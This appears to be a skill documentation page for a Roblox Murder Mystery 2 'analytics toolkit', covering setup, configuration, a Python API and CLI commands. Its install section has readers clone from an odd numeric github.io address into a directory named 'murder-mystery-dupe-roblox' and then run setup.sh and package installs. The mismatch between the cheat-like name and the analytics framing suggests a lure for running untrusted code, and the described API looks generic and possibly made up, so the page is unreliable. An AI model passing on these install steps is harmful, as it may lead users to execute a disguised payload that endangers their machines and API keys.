Murder Mystery 2 Analytics Toolkit

Skill by ara.so — Data Skills collection.

This toolkit provides analytics, inventory management, and strategic gameplay insights for Roblox's Murder Mystery 2 game. It includes data visualization, collection tracking, performance metrics, and AI-powered strategy recommendations.

Installation

Automated Setup

bash

chmod +x setup.sh
./setup.sh --install

Manual Installation

bash

git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt

Environment Configuration

Create a

.env

file with required API keys:

bash

API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true

Core Commands

Analytics Engine

Run comprehensive analytics on your MM2 profile:

bash

python3 main.py --mode analytics \
    --profile <username> \
    --export <output_file>.json \
    --format json \
    --verbose --log-level DEBUG

Example:

bash

python3 main.py --mode analytics \
    --profile mystery_solver_01 \
    --export statistics_2026.json \
    --format json \
    --verbose --log-level DEBUG

Inventory Tracking

Scan and catalog your knife skins collection:

bash

python3 main.py --mode inventory \
    --scan-knives \
    --filter legendary,ancient \
    --export inventory_report.csv

Strategy Analysis

Generate AI-powered strategy recommendations:

bash

python3 main.py --mode strategy \
    --role sheriff \
    --analyze-patterns \
    --export strategy_insights.json

Configuration

Profile Configuration (YAML)

Create

config/profile.yaml

yaml

profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
    - name: "passive_innocent"
      priority: "distraction_avoidance"

JSON Configuration

Alternatively, use

config/profile.json

json

{
  "profile": {
    "username": "MysterySolver2026",
    "preferred_role": "sheriff",
    "inventory_filter": [
      {
        "category": "knife_skins",
        "rarity": ["legendary", "ancient"]
      }
    ],
    "analytics_preferences": {
      "tracking_mode": "comprehensive",
      "data_refresh_rate": 30,
      "export_format": ["csv", "json"]
    }
  }
}

Python API Usage

Basic Analytics Session

python

from mm2_analytics import AnalyticsEngine, Profile

# Initialize profile
profile = Profile.load("mystery_solver_01")

# Create analytics engine
engine = AnalyticsEngine(profile)

# Run comprehensive analysis
results = engine.analyze(
    mode="comprehensive",
    include_inventory=True,
    include_stats=True,
    include_strategy=True
)

# Export results
engine.export(results, format="json", output="stats_2026.json")

Inventory Management

python

from mm2_analytics import InventoryManager

# Initialize inventory manager
inventory = InventoryManager(username="mystery_solver_01")

# Scan for knife skins
knives = inventory.scan_knives(
    filter_rarity=["legendary", "ancient"],
    include_metadata=True
)

# Get collection completeness
completeness = inventory.get_completeness_score()
print(f"Collection {completeness}% complete")

# Find missing items
missing = inventory.find_missing_items(category="knife_skins")
for item in missing:
    print(f"Missing: {item.name} (Rarity: {item.rarity})")

Strategy Analysis

python

from mm2_analytics import StrategyAnalyzer

# Initialize strategy analyzer
analyzer = StrategyAnalyzer(profile="mystery_solver_01")

# Analyze win patterns
patterns = analyzer.analyze_win_patterns(
    role="sheriff",
    time_period="last_30_days"
)

# Get AI recommendations
recommendations = analyzer.get_ai_recommendations(
    role="sheriff",
    playstyle="aggressive",
    use_openai=True  # Uses API_OPENAI_KEY from env
)

for rec in recommendations:
    print(f"Strategy: {rec.title}")
    print(f"Description: {rec.description}")
    print(f"Expected Win Rate Increase: {rec.impact}%")

Data Visualization

python

from mm2_analytics import DataVisualizer

# Create visualizer
viz = DataVisualizer(profile="mystery_solver_01")

# Generate performance chart
viz.create_performance_chart(
    metric="win_rate",
    time_range="last_90_days",
    output="performance.png"
)

# Create inventory distribution chart
viz.create_inventory_chart(
    category="knife_skins",
    group_by="rarity",
    output="inventory_distribution.png"
)

# Export interactive dashboard
viz.export_dashboard(
    format="html",
    output="dashboard.html",
    include_charts=["performance", "inventory", "strategy"]
)

Common Patterns

Complete Analysis Workflow

python

from mm2_analytics import (
    Profile,
    AnalyticsEngine,
    InventoryManager,
    StrategyAnalyzer,
    DataVisualizer
)

# Load profile
profile = Profile.load("mystery_solver_01")

# Run inventory scan
inventory = InventoryManager(profile=profile)
inventory.scan_all()
inv_report = inventory.generate_report()

# Analyze gameplay statistics
engine = AnalyticsEngine(profile)
stats = engine.get_stats(time_period="last_30_days")

# Generate strategy recommendations
strategy = StrategyAnalyzer(profile)
recommendations = strategy.get_recommendations(
    role=profile.preferred_role,
    use_ai=True
)

# Create visualizations
viz = DataVisualizer(profile)
viz.create_dashboard(
    include_inventory=True,
    include_stats=True,
    include_strategy=True,
    output="full_dashboard.html"
)

# Export comprehensive report
engine.export_comprehensive_report(
    inventory=inv_report,
    stats=stats,
    recommendations=recommendations,
    format="pdf",
    output="mm2_analysis_2026.pdf"
)

Real-time Tracking

python

from mm2_analytics import LiveTracker
import time

# Initialize live tracker
tracker = LiveTracker(
    profile="mystery_solver_01",
    refresh_interval=30  # seconds
)

# Start tracking session
tracker.start()

try:
    while True:
        # Get current session stats
        current = tracker.get_current_session()
        
        print(f"Games Played: {current.games_played}")
        print(f"Win Rate: {current.win_rate}%")
        print(f"Role Distribution: {current.role_distribution}")
        
        time.sleep(30)
except KeyboardInterrupt:
    # Stop tracking and save session
    session_data = tracker.stop()
    tracker.export(session_data, output="session_2026.json")

Batch Processing Multiple Profiles

python

from mm2_analytics import BatchProcessor

# Initialize batch processor
processor = BatchProcessor()

# Add profiles to process
profiles = ["player1", "player2", "player3"]
processor.add_profiles(profiles)

# Run batch analysis
results = processor.analyze_all(
    mode="comprehensive",
    parallel=True,
    max_workers=4
)

# Export consolidated report
processor.export_consolidated_report(
    results=results,
    format="xlsx",
    output="team_analysis_2026.xlsx"
)

CLI Command Reference

Analytics Commands

bash

# Basic analytics
python3 main.py --mode analytics --profile <username>

# With specific time range
python3 main.py --mode analytics --profile <username> --time-range 30d

# Export to specific format
python3 main.py --mode analytics --profile <username> --export stats.csv --format csv

Inventory Commands

bash

# Scan all inventory
python3 main.py --mode inventory --scan-all

# Filter by category and rarity
python3 main.py --mode inventory --category knife_skins --rarity legendary,ancient

# Find missing items
python3 main.py --mode inventory --find-missing --category knife_skins

Strategy Commands

bash

# Generate strategy recommendations
python3 main.py --mode strategy --role sheriff --analyze-patterns

# AI-powered recommendations
python3 main.py --mode strategy --role murderer --use-ai --provider openai

# Export strategy report
python3 main.py --mode strategy --export strategy.pdf --format pdf

Visualization Commands

bash

# Create dashboard
python3 main.py --mode visualize --create-dashboard --output dashboard.html

# Generate specific charts
python3 main.py --mode visualize --chart performance --output perf.png

# Export interactive report
python3 main.py --mode visualize --interactive --output report.html

Troubleshooting

Inventory Sync Issues

If inventory data is not syncing:

python

from mm2_analytics import InventoryManager

inventory = InventoryManager(username="mystery_solver_01")

# Force refresh
inventory.force_refresh()

# Clear cache and rescan
inventory.clear_cache()
inventory.scan_all(force=True)

# Verify connection
status = inventory.check_connection()
print(f"Connection Status: {status}")

API Rate Limiting

Handle API rate limits gracefully:

python

from mm2_analytics import StrategyAnalyzer
from mm2_analytics.exceptions import RateLimitError
import time

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

try:
    recommendations = analyzer.get_ai_recommendations(use_openai=True)
except RateLimitError as e:
    print(f"Rate limit hit. Retry after {e.retry_after} seconds")
    time.sleep(e.retry_after)
    recommendations = analyzer.get_ai_recommendations(use_openai=True)

Data Export Failures

Debug export issues:

python

from mm2_analytics import AnalyticsEngine
import logging

# Enable verbose logging
logging.basicConfig(level=logging.DEBUG)

engine = AnalyticsEngine(profile="mystery_solver_01")
results = engine.analyze()

try:
    engine.export(results, format="json", output="stats.json")
except Exception as e:
    # Log detailed error
    logging.error(f"Export failed: {e}")
    
    # Try alternative format
    engine.export(results, format="csv", output="stats.csv")

Performance Optimization

For large datasets:

python

from mm2_analytics import AnalyticsEngine

engine = AnalyticsEngine(
    profile="mystery_solver_01",
    cache_enabled=True,
    parallel_processing=True,
    max_workers=4
)

# Use incremental analysis for large time ranges
results = engine.analyze_incremental(
    start_date="2026-01-01",
    end_date="2026-12-31",
    chunk_size="30d"
)

Advanced Features

Custom Data Filters

python

from mm2_analytics import DataFilter

# Create custom filter
filter = DataFilter()
filter.add_condition("role", "equals", "sheriff")
filter.add_condition("win_rate", "greater_than", 0.5)
filter.add_condition("games_played", "between", [10, 100])

# Apply filter to analysis
engine = AnalyticsEngine(profile="mystery_solver_01")
filtered_results = engine.analyze(filter=filter)

AI Model Selection

python

from mm2_analytics import StrategyAnalyzer

analyzer = StrategyAnalyzer(profile="mystery_solver_01")

# Use OpenAI
openai_recs = analyzer.get_ai_recommendations(
    provider="openai",
    model="gpt-4",
    api_key="${OPENAI_API_KEY}"
)

# Use Claude
claude_recs = analyzer.get_ai_recommendations(
    provider="claude",
    model="claude-3-opus",
    api_key="${CLAUDE_API_KEY}"
)

Multi-Language Support

python

from mm2_analytics import AnalyticsEngine

# Set language for reports
engine = AnalyticsEngine(
    profile="mystery_solver_01",
    language="es"  # Spanish
)

# Generate localized report
report = engine.generate_report(localized=True)

This toolkit is designed for analytical and educational purposes. Always comply with Roblox Terms of Service when collecting and analyzing game data.

murder-mystery-2-analytics-toolkit

NPX Install

Tags

SKILL.md Content

Murder Mystery 2 Analytics Toolkit

Installation

Automated Setup

Manual Installation

Environment Configuration

Core Commands

Analytics Engine

Inventory Tracking

Strategy Analysis

Configuration

Profile Configuration (YAML)

JSON Configuration

Python API Usage

Basic Analytics Session

Inventory Management

Strategy Analysis

Data Visualization

Common Patterns

Complete Analysis Workflow

Real-time Tracking

Batch Processing Multiple Profiles

CLI Command Reference

Analytics Commands

Inventory Commands

Strategy Commands

Visualization Commands

Troubleshooting

Inventory Sync Issues

API Rate Limiting

Data Export Failures

Performance Optimization

Advanced Features

Custom Data Filters

AI Model Selection

Multi-Language Support